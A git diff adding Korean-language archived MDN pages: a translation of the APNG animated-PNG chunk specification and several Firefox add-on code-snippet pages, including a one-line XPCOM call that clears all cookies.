+<p>'IDAT' 이전에 단일 'fcTL' 청크가 있으면 기본 이미지는 애니메이션의 첫 번째 프레임으로 포함됩니다. 그렇지 않으면, 기본 이미지는 애니메이션의 일부가 아닙니다.</p>
+<p>그 후 프레임은 순서 번호가 앞에 나오는 것을 제외하면 'IDAT' 청크와 같은 구조를 가진 'fdAT' 청크에 인코드됩니다. 배치와 렌더링에 관한 각 프레임에 대한 정보는 'fcTL' 청크에 저장됩니다. 'fdAT'와 'fcTL' 청크의 전체 레이아웃은 아래에서 설명하고 있습니다.</p>
+<p>전체 애니메이션의 경계는 기본 이미지가 애니메이션의 일부인지와 상관없이 PNG 'IHDR' 청크의 너비와 높이 매개 변수에 따라 지정됩니다. 나중 프레임에 추가 공간이 필요하면 기본 이미지에는 완전 투명 흑색 픽셀을 덧대야 합니다.</p>
+<p>각 프레임은 각 재연에 대해 동일하므로 애플리케이션이 프레임을 캐시하는 것은 안전합니다.</p>
+<h3 id=".EC.B2.AD.ED.81.AC_.EC.88.9C.EC.84.9C_.EB.B2.88.ED.98.B8" name=".EC.B2.AD.ED.81.AC_.EC.88.9C.EC.84.9C_.EB.B2.88.ED.98.B8">청크 순서 번호</h3>
+<p>'fcTL'과 'fdAT' 청크는 4바이트 순서 번호를 가지고 있습니다. 두 청크 형식은 순서를 공유합니다. 이 번호의 목적은 APNG의 순서 오류를 감지(하고 선택에 따라 수정)하는 것입니다. PNG 명세는 부수적인 청크에 순서의 제약을 부여하지 않기 때문입니다.</p>
+<p>첫 번째 'fcTL' 청크는 순서 번호 0을 꼭 포함하고 나머지 'fcTL'과 'fdAT' 청크의 순서 번호는 공백이나 중복없이 순서대로 되어야 합니다.</p>
+<p>아래 표는 하나 이상의 프레임과 하나 이상의 'fdAT' 청크를 포함한 이미지에 대한 순서 번호 사용을 보여줍니다.</p>
+<p><b>기본 이미지가 첫 번째 프레임인 경우:</b></p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>순서 번호</th>
+   <th>청크</th>
+  </tr>
+  <tr>
+   <td>(없음)</td>
+   <td>'acTL'</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>'fcTL' (첫 번째 프레임)</td>
+  </tr>
+  <tr>
+   <td>(없음)</td>
+   <td>'IDAT' (첫 번째 프레임 -- 기본 이미지로 사용)</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>'fcTL' (두 번째 프레임)</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>'fdAT' (두 번째 프레임을 위한 첫 번째 'fDAT')</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>'fdAT' (두 번째 프레임을 위한 두 번째 'fDAT')</td>
+  </tr>
+  <tr>
+   <td>...</td>
+   <td>...</td>
+  </tr>
+ </tbody>
+</table>
+<p><b>기본 이미지가 애니메이션의 일부분이 아닌 경우:</b></p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>순서 번호</th>
+   <th>청크</th>
+  </tr>
+  <tr>
+   <td>(없음)</td>
+   <td>'acTL'</td>
+  </tr>
+  <tr>
+   <td>(없음)</td>
+   <td>'IDAT' (기본 이미지)</td>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td>'fcTL' (첫 번째 프레임)</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>첫 번째 프레임을 위한 첫 번째 'fdAT'</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>첫 번째 프레임을 위한 두 번째 'fDAT'</td>
+  </tr>
+  <tr>
+   <td>...</td>
+   <td>...</td>
+  </tr>
+ </tbody>
+</table>
+<p>디코더는 순서가 잘못된 APNG 청크를 오류로 처리해야 합니다. APNG를 인식하는 PNG 편집기는 순서 번호를 이용하여 올바른 순서로 복구해야 합니다.</p>
+<h3 id=".27acTL.27:_.EC.95.A0.EB.8B.88.EB.A9.94.EC.9D.B4.EC.85.98_.EC.A0.9C.EC.96.B4.28Animation_Control.29_.EC.B2.AD.ED.81.AC" name=".27acTL.27:_.EC.95.A0.EB.8B.88.EB.A9.94.EC.9D.B4.EC.85.98_.EC.A0.9C.EC.96.B4.28Animation_Control.29_.EC.B2.AD.ED.81.AC">'acTL': 애니메이션 제어(Animation Control) 청크</h3>
+<p>'acTL' 청크는 PNG 명세에 정의된 부수적인 청크입니다. 이는 올바른 PNG 스트림에서 첫 번째 'IDAT' 청크 앞에 나와야 합니다.</p>
+<p>'acTL' 청크는 다음과 같은 필드를 포함합니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>바이트 오프셋</th>
+   <th>필드 이름</th>
+   <th>필드 형식</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>num_frames</code></td>
+   <td><code>unsigned int</code></td>
+   <td>APNG의 프레임 수.</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><code>num_plays</code></td>
+   <td><code>unsigned int</code></td>
+   <td>APNG 반복 횟수. 0은 무한 반복을 가리킴.</td>
+  </tr>
+ </tbody>
+</table>
+<p><code>num_frames</code>은 애니메이션의 전체 프레임 수를 가리킵니다. 이 값은 'fcTL' 청크의 개수와 같아야 합니다. 0은 올바른 값이 아닙니다. 1은 단일 프레임 APNG에 대해 올바른 값입니다. 이 값이 실제 프레임의 개수와 다른 경우, 이는 오류로 처리해야 합니다.</p>
+<p><code>num_plays</code>은 애니메이션을 재생하는 횟수를 가리킵니다. 이 값이 0이면 애니메이션을 계속 재생해야 합니다. 0이 아니면 애니메애션은 마지막 재생의 최종 프레임에서 멈춰야 합니다.</p>
+<h3 id=".27fcTL.27:_.ED.94.84.EB.A0.88.EC.9E.84_.EC.A0.9C.EC.96.B4.28Frame_Control.29_.EC.B2.AD.ED.81.AC" name=".27fcTL.27:_.ED.94.84.EB.A0.88.EC.9E.84_.EC.A0.9C.EC.96.B4.28Frame_Control.29_.EC.B2.AD.ED.81.AC">'fcTL': 프레임 제어(Frame Control) 청크</h3>
+<p>'fcTL' 청크는 PNG 명세에 정의된 부수적인 청크입니다. 이는 'IDAT' 청크의 앞에 나오거나 적용되는 프레임의 'fdAT' 청크 앞에 나와야 합니다. 구체적으로 이야기하면,</p>
+<ul>
+ <li>기본 이미지의 경우, 'fcTL' 청크가 있으면 첫 번째 'IDAT' 청크 앞에 나와야 합니다. 'acTL' 청크에 대한 상대적인 위치는 명시하지 않습니다.</li>
+ <li>기본 이미지를 제외한 첫 번째 프레임의 경우 (이는 첫 번째 또는 두 번째 프레임이 됩니다), 'fcTL' 청크는 모든 'IDAT' 청크의 뒤에 그리고 해당 프레임의 'fdAT' 청크 앞에 나와야 합니다.</li>
+ <li>그 후 모든 프레임의 경우, 프레임 N의 'fcTL' 청크는 프레임 N-1의 'fdAT' 청크 뒤에 그리고 프레임 N의 'fdAT' 청크 앞에 나와야 합니다.</li>
+ <li>다른 부수적인 청크는 'fdAT' 청크 사이를 포함하여 APNG 청크 사이에 나올 수 있습니다.</li>
+</ul>
+<p>각 프레임에 대하여 정확하게 하나의 'fcTL' 청크가 필요합니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>바이트 오프셋</th>
+   <th>필드 이름</th>
+   <th>필드 형식</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>sequence_number</code></td>
+   <td><code>unsigned int</code></td>
+   <td>0부터 시작하는 애니메이션 청크의 순서 번호.</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><code>width</code></td>
+   <td><code>unsigned int</code></td>
+   <td>따르는 프레임의 너비.</td>
+  </tr>
+  <tr>
+   <td>8</td>
+   <td><code>height</code></td>
+   <td><code>unsigned int</code></td>
+   <td>따르는 프레임의 높이.</td>
+  </tr>
+  <tr>
+   <td>12</td>
+   <td><code>x_offset</code></td>
+   <td><code>unsigned int</code></td>
+   <td>따르는 프레임을 그릴 X 위치.</td>
+  </tr>
+  <tr>
+   <td>16</td>
+   <td><code>y_offset</code></td>
+   <td><code>unsigned int</code></td>
+   <td>따르는 프레임을 그릴 Y 위치.</td>
+  </tr>
+  <tr>
+   <td>20</td>
+   <td><code>delay_num</code></td>
+   <td><code>unsigned short</code></td>
+   <td>프레임 지연 분수 분자.</td>
+  </tr>
+  <tr>
+   <td>22</td>
+   <td><code>delay_den</code></td>
+   <td><code>unsigned short</code></td>
+   <td>프레임 지연 분수 분모.</td>
+  </tr>
+  <tr>
+   <td>24</td>
+   <td><code>dispose_op</code></td>
+   <td><code>byte</code></td>
+   <td>현재 프레임을 렌더링한 후 실행할 프레임 영역 처리의 종류.</td>
+  </tr>
+  <tr>
+   <td>25</td>
+   <td><code>blend_op</code></td>
+   <td><code>byte</code></td>
+   <td>현재 프레임에 대한 프레임 영역 렌더링의 종류.</td>
+  </tr>
+ </tbody>
+</table>
+<p>프레임은 <code>x_offset</code>, <code>y_offset</code>, <code>width</code>, <code>height</code>로 정의되는 영역에 그려야 합니다. 오프셋은 0 또는 0보다 크고 치수는 양수이며 영역은 기본 이미지를 벗어나면 안됩니다.</p>
+<p>프레임 영역에 대한 제약은 다음과 같습니다.</p>
+<ul>
+ <li><code>x_offset</code> &gt;= 0</li>
+ <li><code>y_offset</code> &gt;= 0</li>
+ <li><code>width</code> &gt; 0</li>
+ <li><code>height</code> &gt; 0</li>
+ <li><code>x_offset</code> + <code>width</code> &lt;= 'IHDR' width</li>
+ <li><code>y_offset</code> + <code>height</code> &lt;= 'IHDR' height</li>
+</ul>
+<p><code>delay_num</code>과 <code>delay_den</code> 매개 변수는 함께 현재 프레임을 표시할 시간(초)을 의미하는 분수를 지정합니다. 분모가 0이면 분모를 100인 것으로 간주합니다. (즉, <code>delay_num</code>은 1/100초 단위로 시간을 지정하게 됩니다). 만약 분자 값이 0이면 뷰어가 적당한 최소값을 지정할 수도 있겠지만 디코더는 다음 프레임을 가능한 빨리 그려야 합니다.</p>
+<p>애니메이션을 디코더 구현의 성능과 상관없이 동일한 속도로 실행하려면 프레임 타이밍은 각 프레임의 디코딩과 표시에 필요한 시간과 무관해야 합니다.</p>
+<p><code>dispose_op</code>는 지연의 마지막에 (다음 프레임을 그리기 전에) 출력 버퍼를 어떻게 바꾸어야 하는지 지정합니다.</p>
+<p>\<code>dispose_op</code>의 올바른 값은 다음과 같습니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>값</th>
+   <th>상수</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>APNG_DISPOSE_OP_NONE</code></td>
+   <td>다음 프레임을 그리기 전에 현재 프레임을 처리하지 않습니다. 출력 버퍼의 내용은 그대로 남아 있습니다.</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><code>APNG_DISPOSE_OP_BACKGROUND</code></td>
+   <td>다음 프레임을 그리기 전에 프레임의 출력 버퍼 영역을 완전 투명 흑색으로 지웁니다.</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td><code>APNG_DISPOSE_OP_PREVIOUS</code></td>
+   <td>다음 프레임을 그리기 전에 프레임의 출력 버퍼 영역을 이전 내용으로 되돌립니다.</td>
+  </tr>
+ </tbody>
+</table>
+<p>만약 첫 번째 'fcTL' 청크가 <code>dispose_op</code>값으로 <code>APNG_DISPOSE_OP_PREVIOUS</code>를 사용하면 이는 <code>APNG_DISPOSE_OP_BACKGROUND</code>로 처리해야 합니다.</p>
+<p><code>blend_op&lt;code&gt;는 프레임이 현재의 출력 버퍼 내용에 중첩되어야 하는지, 아니면 출력 버퍼의 영역을 완전히 바꿀 것인지 지정합니다. </code></p>
+<p>&lt;code&gt;blend_op의 올바른 값은 다음과 같습니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>값</th>
+   <th>상수</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>APNG_BLEND_OP_SOURCE</code></td>
+   <td>투명도를 포함한 프레임의 모든 색상 요소가 프레임의 출력 버퍼 영역의 현재 내용을 덮어씁니다.</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td><code>APNG_BLEND_OP_OVER</code></td>
+   <td>프레임이 투명도에 따라 <a class="external" href="http://pmt.sourceforge.net/specs/png-1.2-pdg.html">Extensions to the PNG Specification, Version 1.2.0</a>의 <a class="external" href="http://pmt.sourceforge.net/specs/png-1.2-pdg.html#D.Alpha-channel-processing">Alpha Channel Processing</a> 섹션에서 설명한 간단한 OVER 연산을 이용하여 출력 버퍼에 중첩됩니다. 참고로 예제 코드의 두 번째 변종이 적용 가능합니다.</td>
+  </tr>
+ </tbody>
+</table>
+<p>첫 번째 프레임에 대하여 두 가지 중첩 모드는 각 재생의 시작에 출력 버퍼를 지우기 때문에 기능적으로 동일합니다.</p>
+<p>기본 이미지에 대응하는 'fcTL' 청크가 있을 때 이는 다음과 같은 제약이 있습니다.</p>
+<ul>
+ <li><code>x_offset</code>과 <code>y_offset</code> 필드는 0이 되어야 합니다.</li>
+ <li><code>width</code>와 <code>height</code> 필드는 'IHDR' 청크의 해당 필드와 같아야 합니다.</li>
+</ul>
+<p>앞서 언급했듯이 출력 버퍼는 각 재생의 시작에 완전 투명 흑색으로 완전히 초기화되어야 합니다. 이는 각 애니메이션 재생이 같도록 하기 위한 것입니다. 디코더는 결과가 같다고 보장되면 명시적인 지우기 단계를 피할 수 있습니다. 예를 들어, 기본 이미지가 애니메이션에 포함되어 있고 <code>blend_op</code> 값으로 <code>APNG_BLEND_OP_SOURCE</code>를 사용하는 경우에는 전체 출력 버퍼를 덮어쓰게 되므로 지우기가 필요하지 않습니다.</p>
+<h3 id=".27fdAT.27:_.ED.94.84.EB.A0.88.EC.9E.84_.EB.8D.B0.EC.9D.B4.ED.84.B0.28Frame_Data.29_.EC.B2.AD.ED.81.AC" name=".27fdAT.27:_.ED.94.84.EB.A0.88.EC.9E.84_.EB.8D.B0.EC.9D.B4.ED.84.B0.28Frame_Data.29_.EC.B2.AD.ED.81.AC">'fdAT': 프레임 데이터(Frame Data) 청크</h3>
+<p>'fdAT' 청크는 'IDAT' 청크와 같은 목적을 가지고 있습니다. 이는 순서 번호가 앞에 나오는 것을 제외하면 'IDAT' 청크와 같은 구조를 가지고 있습니다.</p>
+<p>각 프레임에 대하여 적어도 하나의 'fdAT' 청크가 필요합니다. 그리고 압축된 데이터 스트림은 한 프레임 내의 모든 'fdAT' 청크의 데이터 필드의 내용을 연결한 것입니다. 압축을 해제하면 데이터 스트림은 PNG 이지미의 완전한 픽셀 데이터입니다. 이는 모든 'IDAT' 청크의 압축 해제된 데이터와 마찬가지로 각 주사선의 처음에 필터 바이트를 포함합니다. 이는 기본 이미지와 같은 비트 수, 색상 종류, 압축 방법, 필터 방법, 인터레이스 방법, 팔레트를 사용합니다.</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>바이트 오프셋</th>
+   <th>필드 이름</th>
+   <th>필드 형식</th>
+   <th>설명</th>
+  </tr>
+  <tr>
+   <td>0</td>
+   <td><code>sequence_number</code></td>
+   <td><code>unsigned int</code></td>
+   <td>0부터 시작하는 애니메이션 청크의 순서 번호.</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td><code>frame_data</code></td>
+   <td>X <code>bytes</code></td>
+   <td>현재 프레임의 프레임 데이터.</td>
+  </tr>
+ </tbody>
+</table>
+<p>각 프레임은 'fcTL' 청크에서 오는 너비와 높이를 제외하고 파일의 첫 번째 'IDAT' 이전의 중요한 혹은 부수적인 청크에 지정된 모든 속성을 물려받습니다.</p>
+<p>PNG 'pHYs' 청크가 있으면 APNG 이미지와 그 이미지의 <code>x_offset</code>과 <code>y_offset</code> 값은 주 이미지와 같은 방식으로 비례를 조절해야 합니다. 개념적으로 그러한 비례 조절은 출력 버퍼를 캔버스에 대응하는 동안에 일어납니다.</p>
+<h3 id=".EB.B3.B8_.EB.AA.85.EC.84.B8.EC.84.9C.EC.9D.98_.EC.88.98.EC.A0.95_.EC.82.AC.ED.95.AD" name=".EB.B3.B8_.EB.AA.85.EC.84.B8.EC.84.9C.EC.9D.98_.EC.88.98.EC.A0.95_.EC.82.AC.ED.95.AD">본 명세서의 수정 사항</h3>
+<h4 id="From_0.1" name="From_0.1">From 0.1</h4>
+<ul>
+ <li>Renamed chunks to 'anIm' and 'frAm' to comply with chunk naming conventions in the PNG spec.</li>
+</ul>
+<ul>
+ <li>Added a more detailed explanation of APNG structure in Section 2.</li>
+</ul>
+<ul>
+ <li>Added information for png interaction with other chunks in section 3.2.</li>
+</ul>
+<ul>
+ <li>Changed 'frAm' chunk offsets and delay into signed integers.</li>
+</ul>
+<h4 id="From_0.2" name="From_0.2">From 0.2</h4>
+<ul>
+ <li>Changed 'frAm' chunk to 'afRa' to avoid conflict with MNG 'FRAM' chunk.</li>
+</ul>
+<ul>
+ <li>Changed format: instead of sequences of IHDR..IDAT..IEND, frames other than frame 0 are stored in 'afRa' chunks.</li>
+</ul>
+<ul>
+ <li>Added <code>start_frame</code> to 'anIm' to indicate which frame the animation should start on.</li>
+</ul>
+<ul>
+ <li>Removed <code>num_frames</code> from 'anIm' chunk</li>
+</ul>
+<h4 id="From_0.3" name="From_0.3">From 0.3</h4>
+<ul>
+ <li>Added 'aCTL', 'fdAT', 'fcTL' chunk descriptions as per the latest png-list discussion</li>
+</ul>
+<ul>
+ <li>Added section 4, "Interactions with other PNG chunks"; described global and local palettes and transparency</li>
+</ul>
+<ul>
+ <li>Changed 'oFFs' chunk section to refer to more general chunks</li>
+</ul>
+<ul>
+ <li>Updated 'aDAT' description to indicate that all frames must either be in a single chunk, or that the first chunk must have empty data.</li>
+</ul>
+<ul>
+ <li>Added notice that each frame's region (x,y,width,height) must lie completely within the parent PNG canvas</li>
+</ul>
+<ul>
+ <li>Fixed <code>dispose_op</code> description (after, not before)</li>
+</ul>
+<ul>
+ <li>Changed <code>dispose_op</code> to <code>render_op</code>; added disposal description; added <code>BLEND</code> flag</li>
+</ul>
+<ul>
+ <li>Changed <code>delay_time</code> to a delay numerator and denominator, for specifying delays that don't into integer numbers of milliseconds.</li>
+</ul>
+<ul>
+ <li>Added note to clarify that palette animation is not supported.</li>
+</ul>
+<ul>
+ <li>Removed <code>start_frame</code> from aCTL; require fcTL for frame 0; added <code>SKIP_FRAME</code> fCTL flag.</li>
+</ul>
+<h4 id="From_0.4" name="From_0.4">From 0.4</h4>
+<ul>
+ <li>Reintroduced <code>num_frames</code> into aCTL</li>
+</ul>
+<ul>
+ <li>Moved <code>sequence_number</code> from aDAT into fCTL</li>
+</ul>
+<ul>
+ <li>Changed contents of aDAT to fCTL+IDATs+fEND</li>
+</ul>
+<ul>
+ <li>Added clarifications on what's allowed and what isn't</li>
+</ul>
+<ul>
+ <li>Renamed aCTL to acTL, fCTL to fcTL, aDAT to fdAT and fEND to feND to comply with the PNG spec chunk naming requirements</li>
+</ul>
+<h4 id="From_0.5" name="From_0.5">From 0.5</h4>
+<ul>
+ <li>Added the IHDR and PLTE CRCs to the acTl chunk</li>
+</ul>
+<ul>
+ <li>The acTL fcTL and adAT are now copy safe, renamed them to acTl, fcTl and adAt</li>
+</ul>
+<h4 id="From_0.6" name="From_0.6">From 0.6</h4>
+<ul>
+ <li>The fdAt chunk is no longer a container for other chunks, but rather a replacement for an IDAT chunk</li>
+</ul>
+<ul>
+ <li>Removed the feND chunk</li>
+</ul>
+<ul>
+ <li>Added a sequence number field to fdAt</li>
+</ul>
+<ul>
+ <li>Reintroduced the <code>width</code> and <code>height</code> fields in fcTl</li>
+</ul>
+<h4 id="From_0.7" name="From_0.7">From 0.7</h4>
+<ul>
+ <li>Removed <code>hidden</code> flag, instead only the first frame can be hidden and it is signaled with a missing fcTl</li>
+</ul>
+<ul>
+ <li>IDAT, fcTl and fdAt are no longer required to have no other chunks in between them</li>
+</ul>
+<h4 id="From_0.8" name="From_0.8">From 0.8</h4>
+<ul>
+ <li>Removed CRCs for IHDR and PLTE from acTl</li>
+</ul>
+<ul>
+ <li>The acTL fcTL and adAT are now not copy safe, renamed them to acTL, fcTL and adAT</li>
+</ul>
+<h4 id="From_0.9" name="From_0.9">From 0.9</h4>
+<ul>
+ <li>Split <code>render_op</code> into <code>dispose_op</code> and <code>blend_op</code></li>
+</ul>
+<h4 id="From_0.10" name="From_0.10">From 0.10</h4>
+<ul>
+ <li>No changes</li>
+</ul>
+<h3 id=".ED.85.8C.EC.8A.A4.ED.8A.B8_.EC.9D.B8.EC.BD.94.EB.8D.94.EC.99.80_.EC.98.88.EC.A0.9C_.EC.9D.B4.EB.AF.B8.EC.A7.80" name=".ED.85.8C.EC.8A.A4.ED.8A.B8_.EC.9D.B8.EC.BD.94.EB.8D.94.EC.99.80_.EC.98.88.EC.A0.9C_.EC.9D.B4.EB.AF.B8.EC.A7.80">테스트 인코더와 예제 이미지</h3>
+<p><a class="external" href="http://littlesvr.ca/apng/" rel="freelink">http://littlesvr.ca/apng/</a> 에 있는 APNG 구현 페이지에서 예제 이미지를 구할 수 있습니다.</p>
+<p>(오픈 소스) 인코더는 Gecko 엔진의 1.9 알파 4 버전에서부터 구할 수 있습니다.</p>
+<p>모질라 인코더를 이용하는 (오픈 소스) 애플리케이션은 다음 페이에서 구할 수 있습니다: <a class="external" href="http://littlesvr.ca/apng/apngedit.html" rel="freelink">http://littlesvr.ca/apng/apngedit.html</a></p>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/PNG/">Portable Network Graphics (PNG) Specification (Second Edition)</a></li>
+ <li><a class="external" href="http://pmt.sourceforge.net/specs/png-1.2-pdg.html">Extensions to the PNG Specification, Version 1.2.0</a></li>
+ <li><a class="external" href="http://www.w3.org/Graphics/GIF/spec-gif89a.txt">Graphics Interchange Format 89a</a></li>
+</ul>
diff --git a/files/ko/archive/add-ons/code_snippets/cookies/index.html b/files/ko/archive/add-ons/code_snippets/cookies/index.html
new file mode 100644
index 0000000000..c3c25b033b
--- /dev/null
+++ b/files/ko/archive/add-ons/code_snippets/cookies/index.html
@@ -0,0 +1,15 @@
+---
+title: Cookies
+slug: Archive/Add-ons/Code_snippets/Cookies
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Archive/Add-ons/Code_snippets/Cookies
+---
+<p> </p>
+<h3 id=".EC.BF.A0.ED.82.A4_.EB.AA.A8.EB.91.90_.EC.97.86.EC.95.A0.EA.B8.B0" name=".EC.BF.A0.ED.82.A4_.EB.AA.A8.EB.91.90_.EC.97.86.EC.95.A0.EA.B8.B0">쿠키 모두 없애기</h3>
+<p>다음 코드는 Firefox/Seamonkey에서 쿠키를 모두 없애는 법을 보여줍니다.</p>
+<pre class="eval">Components.classes["@mozilla.org/cookiemanager;1"]
+          .getService(Components.interfaces.nsICookieManager).removeAll();
+</pre>
+<p>{{ languages( { "en": "en/Code_snippets/Cookies", "fr": "fr/Extraits_de_code/Cookies" } ) }}</p>
diff --git a/files/ko/archive/add-ons/code_snippets/index.html b/files/ko/archive/add-ons/code_snippets/index.html
new file mode 100644
index 0000000000..09b381ed68
--- /dev/null
+++ b/files/ko/archive/add-ons/code_snippets/index.html
@@ -0,0 +1,55 @@
+---
+title: Code snippets
+slug: Archive/Add-ons/Code_snippets
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Archive/Add-ons/Code_snippets
+---
+<p>
+</p><p>이 문서는 확장기능 개발자들이 다양한 Mozilla 응용프로그램에 빠르게 쓸 수 있는 쓸모 있는 코드 조각(snippet) 목록입니다. 상당수는 XULRunner 응용프로그램 및 Firefox/Thunderbird 코드에서도 쓸 수 있습니다.
+</p>
+<h3 id=".EC.9D.BC.EB.B0.98"> 일반 </h3>
+<dl><dt> <a href="ko/Code_snippets/Tabbed_browser">탭브라우저 코드</a> (Firefox/SeaMonkey)
+</dt><dd> <small>Mozilla 브라우저 응용프로그램의 핵심인 탭브라우저를 다루는 기본적인 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Windows">창 코드</a>
+</dt><dd> <small>창 열기 및 다루기</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Cookies">쿠키</a>
+</dt><dd> <small>쿠키 읽기, 쓰기, 고치기, 없애기</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/XML">XML</a>
+</dt><dd> <small>XML을 구문분석하거나, 작성하거나, 다루는 데 쓰는 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/File_I%2f%2fO">파일 입출력</a>
+</dt><dd> <small>파일을 읽거나, 쓰거나, 처리하는 데 쓰는 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Dialogs">대화상자</a>
+</dt><dd> <small>대화상자를 나타내거나, 처리하는 데 쓰는 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Preferences">선택사항</a>
+</dt><dd> <small>선택사항을 읽거나, 쓰거나, 고치는 데 쓰는 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Page_Loading">페이지 불러오기</a>
+</dt><dd> <small>페이지를 로드하거나, 재로드하거나, 페이지 로드를 청취하는 데 쓰는 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">특권 코드와 비특권 코드 사이의 상호 작용</a>
+</dt><dd> <small>부가기능이 웹사이트와 또는 그 반대로 통신하는 법</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/JS_XPCOM">JS XPCOM</a>
+</dt><dd> <small>JavaScript로 맞춤 XPCOM 컴포넌트를 정의하고 호출하는 데 쓰는 코드</small>
+</dd></dl>
+<dl><dt> <a href="ko/Code_snippets/Running_applications">응용프로그램 실행하기</a>
+</dt><dd> <small>다른 응용프로그램을 실행하는 데 쓰는 코드</small>
+</dd></dl>
+<h3 id=".EC.9C.88.EB.8F.84_.EA.B3.A0.EC.9C.A0_.EC.BD.94.EB.93.9C"> 윈도 고유 코드 </h3>
+<dl><dt> <a href="ko/Code_snippets/Finding_Window_Handles">윈도 핸들(HWND) 구하기</a> (Firefox)
+</dt><dd> <small>Windows API로 가지각색의 Mozilla 윈도 핸들을 구하는 법입니다. 윈도 핸들은 IPC 및 접근성 목적으로 쓰일 수 있습니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Accessing_the_Windows_Registry_Using_XPCOM">XPCOM으로 윈도 레지스트리 쓰기</a>
+</dt><dd> <small>레지스트리 키 및 값을 읽거나, 쓰거나, 고치거나, 없애거나, 열거하거나, 주목하는 법</small>
+</dd></dl>
+<h3 id=".EC.99.B8.EB.B6.80_.EB.A7.81.ED.81.AC"> 외부 링크 </h3>
+<p><a class="external" href="http://kb.mozillazine.org/Category:Example_code">MozillaZine 예제 코드</a>의 내용이 여기로 천천히 옮겨지고 있습니다. 하지만 지금은 쓸만한 예제를 그곳에서 찾을 수 있습니다.
+</p>{{ languages( { "en": "en/Code_snippets", "fr": "fr/Extraits_de_code", "ja": "ja/Code_snippets" } ) }}
diff --git a/files/ko/archive/add-ons/code_snippets/page_loading/index.html b/files/ko/archive/add-ons/code_snippets/page_loading/index.html
new file mode 100644
index 0000000000..ddf4043032
--- /dev/null
+++ b/files/ko/archive/add-ons/code_snippets/page_loading/index.html
@@ -0,0 +1,26 @@
+---
+title: Page Loading
+slug: Archive/Add-ons/Code_snippets/Page_Loading
+translation_of: Archive/Add-ons/Code_snippets/Page_Loading
+---
+<p> </p>
+<h3 id=".ED.8E.98.EC.9D.B4.EC.A7.80_.EB.B6.88.EB.9F.AC.EC.98.A4.EA.B8.B0" name=".ED.8E.98.EC.9D.B4.EC.A7.80_.EB.B6.88.EB.9F.AC.EC.98.A4.EA.B8.B0">페이지 불러오기</h3>
+<dl>
+ <dt>
+  <a href="ko/Code_snippets/On_page_load">페이지가 로드될 때</a></dt>
+ <dd>
+  <small>새 페이지가 브라우저/메일에 로드될 때마다 코드를 실행하는 법</small></dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/Code_snippets/Progress_Listeners">진행 청취자</a></dt>
+ <dd>
+  <small>진행 청취자는 확장기능이 브라우저 안의 문서 로드와 관련된 이벤트 및 탭 갈아타기 이벤트를 통보받을 수 있게 합니다.</small></dd>
+</dl>
+<dl>
+ <dt>
+  <a href="ko/Code_snippets/Post_data_to_window">창에 데이터를 넘기기</a></dt>
+ <dd>
+  <small>현존하거나 새로 만든 창/탭에 데이터를 넘기는 코드</small></dd>
+</dl>
+<p>{{ languages( { "en": "en/Code_snippets/Page_Loading", "fr": "fr/Extraits_de_code/Chargement_de_page", "ja": "ja/Code_snippets/Page_Loading" } ) }}</p>
diff --git a/files/ko/archive/add-ons/code_snippets/running_applications/index.html b/files/ko/archive/add-ons/code_snippets/running_applications/index.html
new file mode 100644
index 0000000000..a05c52db62
--- /dev/null
+++ b/files/ko/archive/add-ons/code_snippets/running_applications/index.html
@@ -0,0 +1,51 @@
+---
+title: Running applications
+slug: Archive/Add-ons/Code_snippets/Running_applications
+tags:
+  - Add-ons
+  - Extensions
+translation_of: Archive/Add-ons/Code_snippets/Running_applications
+---
+<p>
+</p><p>본 페이지에서는 Mozilla XPCOM 인터페이스를 이용해서 chrome JavaScript 코드로 다른 프로그램을 실행하는 방법에 대해 설명하겠습니다. 프로그램을 실행하는데는 두 가지 방법이 있습니다. 첫번째 방법은 <code><a href="ko/NsILocalFile/launch">nsILocalFile:launch</a></code> 메소드를 사용하는 것이고, 두번째 방법은 <code><a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIProcess.html">nsIProcess</a></code> 인터페이스를 사용하는 것입니다.
+</p>
